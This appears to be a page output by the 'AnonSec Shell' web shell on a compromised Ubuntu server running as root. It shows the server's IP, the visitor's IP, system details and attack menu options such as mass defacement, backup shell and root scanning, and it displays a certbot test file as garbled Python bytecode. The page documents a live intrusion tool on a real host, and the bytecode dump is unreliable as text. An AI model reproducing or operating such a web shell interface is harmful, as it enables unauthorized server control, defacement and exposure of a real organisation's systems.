AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/certbot/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/certbot/tests/__pycache__/acme_util.cpython-310.pyc
o

6��a�@sdZddlZddlZddlmZddlmZddlmZddl	m
Z
ej�e
�
d��Ze
�d�Zejdd	�Zejd
d	�Zejdd	�ZeegZdd
�Zdd�Zeeej�Zeeej�Zeeej�ZeegZe�eed�Ze�eed�Ze�eed�ZeegZddd�Z dS)zACME utilities for testing.�N)�
challenges)�messages)�auth_handler)�utilzrsa512_key.pems+evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ+PCt92wr+oA)�tokens 17817c66b60ce2e4012dfad92657527as cafecafecafecafecafecafe0feedbaccCstdd�t|�D��S)z*Generate natural combinations for challbs.css�|]\}}|fVqdS�N�)�.0�i�_rr�9/usr/lib/python3/dist-packages/certbot/tests/acme_util.py�	<genexpr>s�zgen_combos.<locals>.<genexpr>)�tuple�	enumerate)�challbsrrr�
gen_combossrcCs@||jd|d�}|tjkr|�dtj��i�tjdi|��S)z$Return ChallengeBody from Challenge.�_uri)�chall�uri�status�	validatedNr)�typr�STATUS_VALID�update�datetime�now�
ChallengeBody)rr�kwargsrrr�chall_to_challbs�
rzexample.comzexample.orgzesimerkki.example.orgTcCs�tdd�t||�D��}tjtj|d�|d�}|r"|�dt|�i�|tjkr9|�|tj�	�tj
dd�d��n|�d	|i�tjd
tjd
i|��d�S)a&Generate an authorization resource.

    :param authz_status: Status object
    :type authz_status: :class:`acme.messages.Status`
    :param list challs: Challenge objects
    :param list statuses: status of each challenge object
    :param bool combos: Whether or not to add combinations

    css�|]
\}}t||�VqdSr)r)r	rrrrrr
Es
��
�zgen_authzr.<locals>.<genexpr>)r�value)�
identifierr�combinations�)�days)r�expiresrz%https://trusted.ca/new-authz-resource)r�bodyNr)
r�zipr�
Identifier�IDENTIFIER_FQDNrrrrr�	timedelta�AuthorizationResource�
Authorization)�authz_status�domain�challs�statuses�combosr�authz_kwargsrrr�
gen_authzr;s,
���

���r2)T)!�__doc__r�josepy�jose�acmerr�certbot._internalr�
certbot.testsr�JWK�load�load_vector�load_rsa_private_key�KEY�HTTP01�DNS01�DNS01_2�
CHALLENGESrr�STATUS_PENDING�HTTP01_P�DNS01_P�	DNS01_P_2�CHALLENGES_P�challb_to_achall�HTTP01_A�DNS01_A�	DNS01_A_2�ACHALLENGESr2rrrr�<module>s4
�

Anon7 - 2022
AnonSec Team